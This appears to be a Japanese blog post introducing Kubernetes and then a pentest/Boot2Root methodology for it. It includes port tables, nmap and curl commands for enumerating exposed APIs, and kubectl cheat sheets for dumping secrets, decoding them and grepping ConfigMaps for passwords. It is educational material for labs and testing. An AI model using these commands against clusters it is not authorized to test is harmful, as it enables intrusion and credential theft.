引用: https://kubernetes.io/ja/docs/concepts/workloads/pods/

基本的には、Kubernetesは一つのクラスタの中にPodが大量にいるイメージです。
その結果として、大規模なスケーリングができるわけです。

かなり考え方的には、これに近いかなと思います。

  • クラスタ = サービス環境
  • Pod = そのサービス環境に存在する各DB、サーバー、マシンなど

結構、リソースの分離において、抽象と具体がしっかりしている印象があります。

kubectlってなに

Kubernetesが提供する、 kubernetes APIを使用してKubernetesクラスターのコントロールプレーンと通信するためのコマンドラインツールです。そのツールの名前は、kubectl です。kubectlコマンドラインツールを使うと、Kubernetesクラスターを制御できます。
引用: https://kubernetes.io/ja/docs/reference/kubectl (一部変更)

つまり、Kubernetes環境に対してSSHとかでアクセスして、わざわざ設定しなくても、kubectlですべての操作が可能になっています。

詳しくはここに操作一覧が書かれています。

k0sってなんですか?

また、Kubernetes for Everyoneでは、k0sというツールも登場しました。このツールは、k0sは、ベアメタル、オンプレミス、エッジ、IoT、パブリッククラウド、プライベートクラウドなど、あらゆるインフラストラクチャで動作する、シンプルで堅牢な認証済みKubernetesディストリビューションです。つまり、k8sをラボで使用するとスケーリングの関係でかなり可用性に関してのコストが重いため、k0sが使用されていると思っています。

また、少し話は変わりますが、k8sやk0s以外にもk3sというものがあります。これはk8sよりも比較的軽く動くそうなので、興味があれば調べてみると良さそうです。

Kubernetesにおけるペネトレーションテスト手法とBoot2Rootでの解き方

ここから先は、Reconから権限昇格まで攻撃するBoot2Rootの解き方やKubernetesのおけるペネトレーションテストで実施しやすいような一連の流れをHacktricksなどの資料を参考にご紹介します。

大きく四つに分類できます。

Reconnaissance

まず、ポートスキャンします

以下のようなサービスが複数検出された際はKubernetesが裏で動いていることを確認することができます。

Port Process Description
443/TCP kube-apiserver Kubernetes API port
2379/TCP etcd etcd
6666/TCP etcd etcd
4194/TCP cAdvisor Container metrics
6443/TCP kube-apiserver Kubernetes API port
8443/TCP kube-apiserver Minikube API port
8080/TCP kube-apiserver Insecure API port
10250/TCP kubelet HTTPS API which allows full mode access
10255/TCP kubelet Unauthenticated read-only HTTP port: pods, running pods and node state
10256/TCP kube-proxy Kube Proxy health check server
9099/TCP calico-felix Health check server for Calico
6782-6784/TCP weave Metrics and endpoints
30000-32767/TCP NodePort Proxy to the services
44134/TCP Tiller Helm service listening

そこで、もしKube-apiserverやKubelet API、Etcd APIなどが検出された場合、実際にKubernetesに存在する/pods/metrics/api/versionなどのエンドポイントが返却されるかを確認します。

これにより、内部の非公開情報を盗めそうか確かめます。

チートシート

  • Nmap Port Scan
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <target_ipaddress>
  • Rustscan Port Scan
rustscan -a <target_ipaddress> -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,44134 -r 6782-6784,30000-32767 -u 2000 -- -n -T4
  • Kube-apiserverのエンドポイント列挙
# API server endpoints
curl -k https://<IP Address>:443/swaggerapi
curl -k https://<IP Address>:443/healthz
curl -k https://<IP Address>:443/api/v1

# Anothor pattern
curl https://target.com:6443 --insecure
curl https://target.com:6443/version --insecure
curl https://target.com:6443/api --insecure
  • Kubelet APIのエンドポイント列挙
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
  • Kubelet(読み取り専用)
curl -k https://<IP Address>:10255
curl -k http://<external-IP>:10255/pods
  • etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
  • cAdvisor
curl -k https://<IP Address>:4194
  • NodePort
sudo nmap -sS -p 30000-32767 <IP>

Initial Access

しかし、Initial Accessにおいて、kubernetesのみで初期アクセスにはつながりません。何故なら、ゼロデイ脆弱性がない限り、基本的には、kubectlというKubernetesクラスターを制御するコマンドラインツールがないと操作しようがないからです。そのため、この段階に関しては、2つのアプローチがあります。
 

  1. Kubernetesクラスターを操作可能なコンピュータ内部に何かしらの方法でアクセスする
  2. 脆弱なWebサービスに存在するOSコマンドインジェクションやSSRFなどの脆弱性を利用し、kubectlを使用できるガジェットを組む

 
まず、1に関しては、Boot2rootする中で、既知のバージョンから脆弱なライブラリを利用したPoCを探し出し、内部サーバーへ侵入し、内部サーバーのシェルでkubectlが使えるように権限昇格してあげることです。

また、2に関しては、実際にKubernetesが動いている環境を前提に、その環境にあるWebサービスへアクセスし、OSコマンドインジェクションやSSRF(Server-Side Request Forgery)、SSTI(Server-Side Template Injection)などの内部サーバーを操作可能な脆弱性を発見し、そこでkubectlが使用可能かを確かめることです。

これらは、現実的にあり得そうな攻撃シナリオとして挙げられると考えられます。

Exploitation

これは、Intial Accessが成功していることを前提としたExploitationになります。ただ、実際は権限昇格やオーバーバッファフローなどの低レイヤーで引き起こす脆弱性ではなく、情報収集、操作、削除などが挙げられます。以下を例にkubectlで何ができるのかをご紹介します。

チートシート

  • Kubernetesの基本情報の収集
# Check cluster access
kubectl cluster-info

# Get cluster version
kubectl version

# List all contexts
kubectl config get-contexts

# Switch context
kubectl config use-context context-name
  • クラスターへのリモートアクセス
# Access specific cluster
kubectl --server=https://target.com:6443 --insecure-skip-tls-verify get pods

# With authentication token
kubectl --server=https://target.com:6443 --token=TOKEN get pods
  • Namespace Enumeration
# List namespaces
kubectl get namespaces
kubectl get ns
  • Pod Enumeration

Podsの列挙

# List pods in all namespaces
kubectl get pods --all-namespaces

# List pods in specific namespace
kubectl get pods -n kube-system

特定のPod解析

# Detailed pod information
kubectl describe pod pod-name -n namespace

# Get pod YAML
kubectl get pod pod-name -n namespace -o yamla

# Get pod JSON
kubectl get pod pod-name -n namespace -o json
  • Secret Enumeration

Secretsの列挙

# List secrets in all namespaces
kubectl get secrets --all-namespaces

# Get secret details
kubectl describe secret secret-name -n namespace

特定のSecret値の抽出

# Extract secret value (base64 encoded)
echo '[base64でエンコードされたシークレット文字列]' | base64 -d
  • ConfigMap Enumeration

ConfigMapsの列挙

# List ConfigMaps
kubectl get configmaps --all-namespaces

# Get ConfigMap content
kubectl get configmap config-name -n namespace -o yaml

特定のConfigMapのクレデンシャル検索

# Search for sensitive data
kubectl get configmaps --all-namespaces -o yaml | grep -i "password\|secret\|key"
  • Service Account Enumeration

サービスアカウントの列挙

# List service accounts
kubectl get serviceaccounts --all-namespaces

# Get service account details
kubectl describe sa service-account-name -n namespace

# Check service account token
kubectl get sa service-account-name -n namespace -o yaml

特定のサービスアカウントの権限チェック

# List role bindings (permissions)
kubectl get rolebindings --all-namespaces
kubectl get clusterrolebindings
  • Node Enumeration

Nodesの列挙

# List nodes
kubectl get nodes

# Node details
kubectl describe node node-name

# Node OS and kernel
kubectl get nodes -o wide

特定のNodeに対するセキュリティチェック

# Check for privileged nodes
kubectl get nodes -o yaml | grep -i "privileged\|security"

Privilege Escalation

kubectlで何かしら、名前空間なり、サービスアカウント、シークレット発見により、権限昇格や横展開につながる可能性があります。Boot2RootではKubernetesの悪用方法は固有の脆弱性になってくるため、特にKubernetesのペネトレーションテストで特別に変わるとかはないです。

もし、Kubernetesの悪用方法について学ぶなら、以下の資料を参考にすることを推奨します。大変、勉強になると思います。

このことを踏まえて、TryHackMeのKubernetesラボを解いたり、再度writeupを読み直すと理解を深めやすいと思います。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?